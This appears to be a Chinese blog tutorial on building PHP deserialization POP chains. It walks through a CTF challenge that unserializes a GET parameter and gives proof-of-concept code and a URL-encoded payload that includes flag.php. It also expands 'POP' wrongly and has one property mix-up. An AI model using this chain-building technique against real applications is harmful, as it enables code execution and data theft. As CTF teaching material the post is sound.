[Web 安全] PHP 反序列化漏洞 —— POP 鏈構造思路

關注這個專欄的其他相關筆記:[Web 安全] 反序列化漏洞 - 學習筆記-CSDN博客

0x01:什么是 POP 鏈?

POP 鏈(Payload On Purpose Chain)是一種利用 PHP 中的魔法方法進行多次跳轉以獲取敏感數據的技術。它通常出現在 CTF 比賽中,并且與反序列化一起考察。

POP 鏈可以理解為反序列化的一種拓展,涉及到的魔法方法更多,泛用性更強。

0x02:POP 鏈 — 入門基礎

POP 鏈,簡單來說,就是把一個對象的成員屬性賦值為新的對象。比如下面這個例子:

?<?php?class Node {public $nodeData; ? ? ? ? // 用來存儲節點數據public $nextNode = null; ?// 用來存儲下一個節點對象}??$node1 = new Node();$node1 -> nodeData = "[ 1 ] 號節點";?$node1 -> nextNode = new Node();$node1 -> nextNode -> nodeData = "[ 2 ] 號節點";?echo serialize($node1);// 輸出結果如下: // O:4:"Node":2:{s:8:"nodeData";s:15:"[ 1 ] 號節點";s:8:"nextNode";O:4:"Node":2:{s:8:"nodeData";s:15:"[ 2 ] 號節點";s:8:"nextNode";N;}}

上面是筆者創建的一個簡單的節點類,該類有兩個屬性,$nodeData 用來存儲數據,$nextNode 用來指向下一個節點。

觀察一下這個 $node1 序列化后的結果,我們可以很輕易的看到,對象中包含了對象的這么一個結構,這就是 POP 鏈。在后面做 CTF 時,我們就需要手動構造這么一串東西來嘗試過關。

0x03:POP 鏈 — 構造思路

接下來,筆者以一個 CTF 的題目作為示范,來演示一下 POP 鏈的構造思路,下面是題目的整體源碼:

?<?php?highlight_file(__FILE__);?class Modifier {private $var;public function append($value) {include($value); ? // Flag Is in the flag.phpecho $flag;}?public function __invoke() {$this->append($this->var);}}?class Show {public $source;public $str;public function __toString() {return $this->str->source;}public function __wakeup() {echo $this->source;}}?class Test{public $p;public function __construct() {$this->p = array();}// 不存在的屬性public function __get($key) {$function = $this->p;return $function();}}?// pop序列化的值if (isset($_GET['pop'])) {unserialize($_GET['pop']);}

我們的目標就是,嘗試包含 flag.php 并讀取到 flag。

下面我們就要開始分析了,筆者比較喜歡進行反向逆推的,首先確定我們最終要達成的目標:

  1. 確定目標:要執行 Modifier::append($value)$value=flag.php

  2. 問:誰能跳到 Modifier::append($value)

    答:Modifier::__invoke() 且要求 Modifier 對象的 $var 屬性為 flag.php
  3. 問:誰能跳到 Modifier::__invoke()?=> 哪里能將 Modifier 對象當方法調用?

    答:Test::__get($key) 且當 Test 對象的 $p 屬性為 Modifier 對象時滿足要求。
  4. 問:誰能跳到 Test::__get($key)?=> 哪里可能會訪問某個對象的不存在的屬性?

    答:Show::__toString() 且當 Show 對象的 $str 屬性為 Test 對象時滿足要求。
  5. 問:誰能跳到 Show::__toString() ?即哪里會把 Show 對象當作字符串處理?

    答:Show::__wakeup()且當 Show 對象的 $source 屬性為 Show 對象時滿足要求。
  6. 問:哪里能觸發 Show::__wakeup()

    答:反序列化 Show 對象。

如上,逆向推導結束,最終我們定格到了 Show::__wakeup() 方法上,即反序列化執行時,會自然觸發的一個方法上。

下面開始編寫 POC,POC 的編寫其實就是根據答案反著來,著重關注 ”且當“ 后面的條件:

?// 1. 反序列化 Show 對象 => 創建一個 Show() 對象$poc = new Show();// 2. 賦予 Show() 對象的 $source 屬性為 Show() 對象。$poc -> source = new Show();// 3. 賦予 Show() 對象的 $str 屬性為 Test 對象。$poc -> source -> str = new Test();// 4. 賦予 Test 對象的 $p 屬性為 Modifier 對象。$poc -> source -> str -> p = new Modifier();?// 5. 賦予 Modifier 對象的 $var 屬性值為 flag.php。$poc -> source -> str -> p = "flag.php";?echo serialize($poc); 

上面的 POC 其實整體流程是對的,但是有個細節,關注一下 Modifier 類中的 $p 屬性:

?class Modifier {private $var;}

如上,它是一個私有屬性,私有屬性我們是不能直接通過屬性賦值的。但是我們知道,反序列化的特性,反序列化生成的對象成員屬性值是由被反序列化的字符串決定的,與原來類中預定義的值無關。 那么基于此特性,雖然直接賦值不行,但是我們可以修改 Modifier 類中 $var 的默認值呀。

所以正確的最終 POC 局部如下(下面都是我們修改的主要部分):

?class Modifier {// 5. 賦予 Modifier 對象的 $var 屬性值為 flag.php。private $var = "flag.php";public function append($value) {include($value); ? // Flag Is in the flag.phpecho $flag;}?public function __invoke() {$this->append($this->var);}}?// 1. 反序列化 Show 對象 => 創建一個 Show() 對象$poc = new Show();// 2. 賦予 Show() 對象的 $source 屬性為 Show() 對象。$poc -> source = new Show();// 3. 賦予 Show() 對象的 $str 屬性為 Test 對象。$poc -> source -> str = new Test();// 4. 賦予 Test 對象的 $p 屬性為 Modifier 對象。$poc -> source -> str -> p = new Modifier();?echo serialize($poc); 

同時我們注意到,反序列化中帶有 private 私有屬性,且目標是通過 GET 請求接收傳參的,所以為了防止我們復制 POC 的時候出現 Bug,我們還需要對最終序列化的結果進行一個 URL 編碼(服務端在接收的時候其實默認會進行一次 URL 解碼,所以不用慌),以確定沒有漏復制任何值,所以最終 POC 如下:

?<?php?// highlight_file(__FILE__);?class Modifier {// 5. 賦予 Modifier 對象的 $var 屬性值為 flag.php。private $var = "flag.php";public function append($value) {include($value); ? // Flag Is in the flag.phpecho $flag;}?public function __invoke() {$this->append($this->var);}}?class Show {public $source;public $str;public function __toString() {return $this->str->source;}public function __wakeup() {echo $this->source;}}?class Test{public $p;public function __construct() {$this->p = array();}// 不存在的屬性public function __get($key) {$function = $this->p;print_r($function);return $function();}}?// 1. 反序列化 Show 對象 => 創建一個 Show() 對象$poc = new Show();// 2. 賦予 Show() 對象的 $source 屬性為 Show() 對象。$poc -> source = new Show();// 3. 賦予 Show() 對象的 $str 屬性為 Test 對象。$poc -> source -> str = new Test();// 4. 賦予 Test 對象的 $p 屬性為 Modifier 對象。$poc -> source -> str -> p = new Modifier();?echo urlencode(serialize($poc));

最終 Payload 如下:

?O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/72433.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/72433.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/72433.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

擴散語言模型:從圖像生成到文本創造的范式躍遷

近年來,擴散模型(Diffusion Models)在人工智能領域異軍突起,尤其在圖像生成任務中取得了令人矚目的成就,如 Stable Diffusion 等模型已成為生成高質量圖像的標桿。這種成功激發了研究者們的好奇心:擴散模型的魔力能否從視覺領域延伸至自然語言處理(NLP),為文本生成帶來…

大模型工程師學習日記(十):基于 LangChain 構建向量存儲和查詢 Qdrant

Qdrant介紹 Qdrant&#xff08;讀作&#xff1a;quadrant /kwɑdr?nt/ n. 象限&#xff1b;象限儀&#xff1b;四分之一圓&#xff09;是一個向量相似度搜索引擎。它提供了一個生產就緒的服務&#xff0c;具有方便的 API 來存儲、搜索和管理點 - 帶有附加載荷的向量。Qdrant專…

DeepSeek 助力 Vue3 開發:打造絲滑的網格布局(Grid Layout)

前言&#xff1a;哈嘍&#xff0c;大家好&#xff0c;今天給大家分享一篇文章&#xff01;并提供具體代碼幫助大家深入理解&#xff0c;徹底掌握&#xff01;創作不易&#xff0c;如果能幫助到大家或者給大家一些靈感和啟發&#xff0c;歡迎收藏關注哦 &#x1f495; 目錄 Deep…

deepseek、騰訊元寶deepseek R1、百度deepseekR1關系

分析與結論 區別與聯系 技術基礎與定制方向&#xff1a; DeepSeek官網R1版本&#xff1a;作為基礎版本&#xff0c;通常保留通用性設計&#xff0c;適用于廣泛的AI應用場景&#xff08;如自然語言處理、數據分析等&#xff09;。其優勢在于技術原生性和官方直接支持。騰訊元寶…

外貿獨立站使用wordpress模板與定制哪個SEO效果好

使用WordPress模板搭建的外貿獨立站與定制站的SEO效果&#xff0c;可以從以下幾個方面進行分析&#xff1a; 1. 內容質量是SEO的核心 內容質量確實是SEO的關鍵&#xff0c;無論使用模板還是定制開發&#xff0c;優質、相關、原創的內容都是提升排名的基礎。內容能夠解決用戶問…

Golang語法特性總結

1.認識Golang代碼特性 package main //1.包含main函數的文件就是一個main包--當前程序的包名// import "fmt" // import "time" import("fmt""time" )//3.同時包含多個包 4.強制代碼風格:函數的 { 一定和函數名在同一行&#xff0c;否…

AI賦能校園安全:科技助力預防與應對校園霸凌

校園本應是學生快樂學習、健康成長的地方&#xff0c;然而&#xff0c;校園霸凌卻成為威脅學生身心健康的隱形“毒瘤”。近年來&#xff0c;隨著人工智能&#xff08;AI&#xff09;技術的快速發展&#xff0c;AI在校園安全領域的應用逐漸成為解決校園霸凌問題的新突破口。通過…

易語言模擬真人鼠標軌跡算法 - 防止游戲檢測

一.簡介 鼠標軌跡算法是一種模擬人類鼠標操作的程序&#xff0c;它能夠模擬出自然而真實的鼠標移動路徑。 鼠標軌跡算法的底層實現采用C/C語言&#xff0c;原因在于C/C提供了高性能的執行能力和直接訪問操作系統底層資源的能力。 鼠標軌跡算法具有以下優勢&#xff1a; 模擬…

運營商三要素API:構建安全信任的橋梁

引言 在數字經濟時代&#xff0c;身份驗證已成為各類業務場景的基礎需求。運營商三要素API作為一種高效的身份核驗工具&#xff0c;通過對接運營商數據&#xff0c;實現對用戶姓名、身份證號碼、手機號碼三項關鍵信息的實時校驗&#xff0c;為各行業提供可靠的身份認證解決方案…

Spring Boot 與 MyBatis 版本兼容性

初接觸Spring Boot&#xff0c;本次使用Spring Boot版本為3.4.3&#xff0c;mybatis的起步依賴版本為3.0.0&#xff0c;在啟動時報錯&#xff0c;報錯代碼如下 org.springframework.beans.factory.BeanDefinitionStoreException: Invalid bean definition with name userMapper…

GCN從理論到實踐——基于PyTorch的圖卷積網絡層實現

Hi&#xff0c;大家好&#xff0c;我是半畝花海。圖卷積網絡&#xff08;Graph Convolutional Network, GCN&#xff09;是一種處理圖結構數據的深度學習模型。它通過聚合鄰居節點的信息來更新每個節點的特征表示&#xff0c;廣泛應用于社交網絡分析、推薦系統和生物信息學等領…

MyBatis-Plus 邏輯刪除實現

在很多企業級應用中&#xff0c;數據刪除操作通常采用 邏輯刪除 的方式&#xff0c;而不是物理刪除。邏輯刪除指的是通過更新字段&#xff08;例如 is_deleted 或 status&#xff09;來標記數據為刪除狀態&#xff0c;而不是真的從數據庫中刪除記錄。這樣做的好處是保留數據的歷…

STM32_IIC外設工作流程

STM32 IC 外設工作流程&#xff08;基于寄存器&#xff09; 在 STM32 中&#xff0c;IC 通信主要通過一系列寄存器控制。理解這些寄存器的作用&#xff0c;能夠幫助我們掌握 IC 硬件的運行機制&#xff0c;實現高效的數據傳輸。本文以 STM32F1&#xff08;如 STM32F103&#x…

集合遍歷的多種方式

目錄 1.增強for 2.迭代器&#xff08;在遍歷的過程中需要刪除元素&#xff0c;請使用迭代器&#xff09; 3.雙列集合 4.Lambda表達式(forEach方法) 1.單列集合&#xff1a; 2.雙列集合&#xff1a; 4.Stream 流 5.普通for循環 6.列表迭代器 7.總結 1.增強for 注&…

DeepSeek在MATLAB上的部署與應用

在科技飛速發展的當下&#xff0c;人工智能與編程語言的融合不斷拓展著創新邊界。DeepSeek作為一款備受矚目的大語言模型&#xff0c;其在自然語言處理領域展現出強大的能力。而MATLAB&#xff0c;作為科學計算和工程領域廣泛應用的專業軟件&#xff0c;擁有豐富的工具包和高效…

value_counts()和unique()

我今天發現一個很有意思的問題哈 import scanpy as sc import numpy as npX np.random.randn(10,3) adata1 sc.AnnData(X) adata1.obs["sample"] "H1" print(adata1)X np.random.randn(20,3) adata2 sc.AnnData(X) adata2.obs["sample"] &…

每日OJ_牛客_游游的字母串_枚舉_C++_Java

目錄 牛客_游游的字母串_枚舉 題目解析 C代碼 Java代碼 牛客_游游的字母串_枚舉 游游的字母串 描述&#xff1a; 對于一個小寫字母而言&#xff0c;游游可以通過一次操作把這個字母變成相鄰的字母。a和b相鄰&#xff0c;b和c相鄰&#xff0c;以此類推。特殊的&#xff0…

【AI深度學習基礎】Pandas完全指南入門篇:數據處理的瑞士軍刀 (含完整代碼)

&#x1f4da; Pandas 系列文章導航 入門篇 &#x1f331;進階篇 &#x1f680;終極篇 &#x1f30c; &#x1f4cc; 一、引言 在大數據與 AI 驅動的時代&#xff0c;數據預處理和分析是深度學習與機器學習的基石。Pandas 作為 Python 生態中最強大的數據處理庫&#xff0c;以…

數字萬用表的使用教程

福祿克經濟型數字萬用表前面板按鍵功能介紹示意圖 1. 萬用表簡單介紹 萬用表是一種帶有整流器的、可以測量交、直流電流、電壓及電阻等多種電學參量的磁電式儀表。分為數字萬用表&#xff0c;鉗形萬用表&#xff0c; &#xff08;1&#xff09;表筆分為紅、黑二只。使用時黑色…

C# IComparable<T> 使用詳解

總目錄 前言 在C#編程中&#xff0c;IComparable<T> 是一個非常重要的接口&#xff0c;它允許我們為自定義類型提供默認的比較邏輯。這對于實現排序、搜索和其他需要基于特定規則進行比較的操作特別有用。本文將詳細介紹 IComparable<T> 的使用方法、應用場景及其…